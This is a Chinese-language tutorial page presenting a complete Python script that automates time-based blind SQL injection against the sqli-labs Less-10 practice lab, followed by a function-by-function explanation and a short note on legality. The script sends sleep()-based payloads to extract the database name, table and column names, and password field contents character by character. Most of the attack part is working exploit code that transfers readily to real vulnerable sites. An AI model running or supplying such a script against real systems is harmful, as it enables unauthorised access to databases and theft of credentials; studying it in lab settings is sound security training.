python實(shí)現(xiàn)自動(dòng)化的sql延時(shí)注入
自動(dòng)化的sql延時(shí)注入腳本
源碼
import requests
import time
import datetime
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
#獲取數(shù)據(jù)庫(kù)長(zhǎng)度
def database_len():
for i in range(1,10):
payload = '?id=1" and if(length(database())>%s,sleep(4),0)--+'%i
url1 = url +payload
#print(url1)
time1 =datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3 = (time2-time1).total_seconds() #計(jì)算時(shí)間差, 忽略天 只看時(shí)分秒 total_seconds() 真正的時(shí)間差 包含天
if time3 >= 4:
print(i)
else:
print(i)
break
print('數(shù)據(jù)庫(kù)長(zhǎng)度為:',i)
#database_len()
#獲取數(shù)據(jù)庫(kù)名
def datebase_name():
name=''
for i in range(1,9):
for j in p1:
payload='?id=1" and if(substr(database(),%s,1)="%s",sleep(4),1)--+' %(i,j)
url1=url+payload
#print(url1)
time1=datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3=(time2-time1).total_seconds()
if time3 >= 4:
name += j
print(name)
break
n = name
print('數(shù)據(jù)庫(kù)名字為:'+n)
#datebase_name()
#獲取表
def tables_name():
global table4
table1=''
table2=''
table3=''
table4=''
for i in range(5):
for j in range(1,6):
for t in p1:
payload='?id=1" and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)="%s"),3,0)) --+'%(i,j,t)
url1=url+payload
#print(url1)
time1=datetime.datetime.now()
r=requests.get(url=url1)
time2=datetime.datetime.now()
time3=(time2-time1).seconds
if time3 >= 3:
if i == 0:
table1 +=t
print('第一個(gè)表為:',table1)
elif i == 1:
table2 += t
print('第二個(gè)表為:',table2)
elif i == 2:
table3 +=t
print('第三個(gè)表為:',table3)
elif i == 3:
table4 += t
print('第四個(gè)表為:',table4)
else:
break
print('第一個(gè)表為'+table1)
print('第二個(gè)表為'+table2)
print('第三個(gè)表為' + table3)
print('第四個(gè)表為' + table4)
#tables_name()
#獲取表中的字段
def table_column():
global column3
column1=''
column2=''
column3=''
f=table4
for i in range(3):
for j in range(1,9):
for t in p1:
payload='?id=1" and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)="%s"),5,0)) --+'%(f,i,j,t)
url1 =url+payload
#print(url1)
time1 = datetime.datetime.now()
r = requests.get(url=url1)
time2 = datetime.datetime.now()
time3 = (time2 - time1).seconds
if time3 >= 5:
if i == 0:
column1 += t
print('字段一為:'+column1)
elif i == 1:
column2 += t
print('字段二為:'+column2)
elif i == 2:
column3 += t
print('字段三為:'+column3)
else:
break
print('users字段一為:'+column1)
print('字段二為:'+column2)
print('字段三為:',column3)
#table_column()
def s_content():
content1=''
f1= column3
f2= table4
for i in range(20):
for t in p1:
payload = '?id=1" and sleep(if((mid((select %s from %s limit 7,1),%s,1)="%s" ),3,0)) --+'%(f1,f2,i,t)
url1 =url+payload
#print(url1)
time1=datetime.datetime.now()
r = requests.get(url=url1)
time2 = datetime.datetime.now()
time3 = (time2-time1).seconds
if time3 >=3:
content1 += t
print('password字段一內(nèi)容為:'+content1)
break
print('字段內(nèi)容為:'+content1)
start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('總花費(fèi)時(shí)間為',end_start_time,'秒')”源碼詳解
這段代碼是一個(gè)Python腳本,用于通過(guò)SQL注入漏洞來(lái)探測(cè)和提取一個(gè)Web應(yīng)用程序的數(shù)據(jù)庫(kù)信息。它使用了requests庫(kù)來(lái)發(fā)送HTTP請(qǐng)求,并使用time和datetime庫(kù)來(lái)測(cè)量響應(yīng)時(shí)間,從而推斷出數(shù)據(jù)庫(kù)的結(jié)構(gòu)和內(nèi)容。
導(dǎo)入庫(kù)
import requests import time import datetime
requests: 用于發(fā)送HTTP請(qǐng)求。
time 和 datetime: 用于測(cè)量時(shí)間差。
定義URL
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
目標(biāo)URL,用于發(fā)送SQL注入請(qǐng)求。
定義字符集
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
包含所有可能的字符,用于構(gòu)造SQL注入的payload。
獲取數(shù)據(jù)庫(kù)長(zhǎng)度
def database_len():
# ...
通過(guò)逐步增加length(database())的值,并測(cè)量響應(yīng)時(shí)間來(lái)確定數(shù)據(jù)庫(kù)名稱的長(zhǎng)度。
獲取數(shù)據(jù)庫(kù)名
def datebase_name():
# ...
通過(guò)逐個(gè)字符地探測(cè)數(shù)據(jù)庫(kù)名稱,并測(cè)量響應(yīng)時(shí)間來(lái)確定每個(gè)字符。
獲取表名
def tables_name():
# ...
通過(guò)查詢information_schema.tables表,并測(cè)量響應(yīng)時(shí)間來(lái)確定表名。
獲取表中的字段
def table_column():
# ...
通過(guò)查詢information_schema.columns表,并測(cè)量響應(yīng)時(shí)間來(lái)確定字段名。
獲取字段內(nèi)容
def s_content():
# ...
通過(guò)查詢特定表的特定字段,并測(cè)量響應(yīng)時(shí)間來(lái)確定字段的內(nèi)容。
主程序
start_time = time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time = time.time()
end_start_time = end_time - start_time
print('總花費(fèi)時(shí)間為', end_start_time, '秒')
記錄開(kāi)始時(shí)間,依次調(diào)用上述函數(shù)來(lái)獲取數(shù)據(jù)庫(kù)信息,記錄結(jié)束時(shí)間,并計(jì)算總耗時(shí)。
注意事項(xiàng)
SQL注入風(fēng)險(xiǎn): 這段代碼利用了SQL注入漏洞,實(shí)際應(yīng)用中應(yīng)避免這種不安全的做法。
法律和道德: 在未經(jīng)授權(quán)的情況下進(jìn)行此類操作是違法的,應(yīng)確保在合法和授權(quán)的環(huán)境中使用。
代碼注釋: 代碼中有大量被注釋掉的print語(yǔ)句,這些語(yǔ)句可以幫助調(diào)試和理解代碼的執(zhí)行過(guò)程。
總結(jié)
這段代碼通過(guò)構(gòu)造特定的SQL注入payload,并利用時(shí)間延遲來(lái)逐步揭示數(shù)據(jù)庫(kù)的結(jié)構(gòu)和內(nèi)容。雖然這種方法在安全研究中有一定的價(jià)值,但在實(shí)際應(yīng)用中應(yīng)嚴(yán)格遵守法律法規(guī)和道德準(zhǔn)則。
到此這篇關(guān)于python實(shí)現(xiàn)自動(dòng)化的sql延時(shí)注入的文章就介紹到這了,更多相關(guān)python sql延時(shí)注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Python包中__init__.py文件的作用與用法實(shí)例詳解
我們新建python包時(shí)常常會(huì)看到一個(gè)__init _.py文件,下面這篇文章主要給大家介紹了關(guān)于Python包中__init__.py文件的作用與用法的相關(guān)資料,文中通過(guò)實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2022-06-06
利用Vscode進(jìn)行Python開(kāi)發(fā)環(huán)境配置的步驟
這篇文章主要給大家介紹了關(guān)于如何利用Vscode進(jìn)行Python開(kāi)發(fā)環(huán)境配置的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用Python具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-06-06
python反轉(zhuǎn)(逆序)字符串的6種方法詳細(xì)
這篇文章主要介紹了python反轉(zhuǎn)(逆序)字符串的6種方法詳細(xì),需要的朋友可以參考下2021-04-04
基于Python實(shí)現(xiàn)搶注大詞的提詞工具
這篇文章主要為大家詳細(xì)介紹了如何利用Python語(yǔ)言實(shí)現(xiàn)搶注大詞的提詞工具,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下2023-02-02
Django csrf校驗(yàn)的實(shí)現(xiàn)
這篇文章主要介紹了Django csrf校驗(yàn)的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2021-05-05

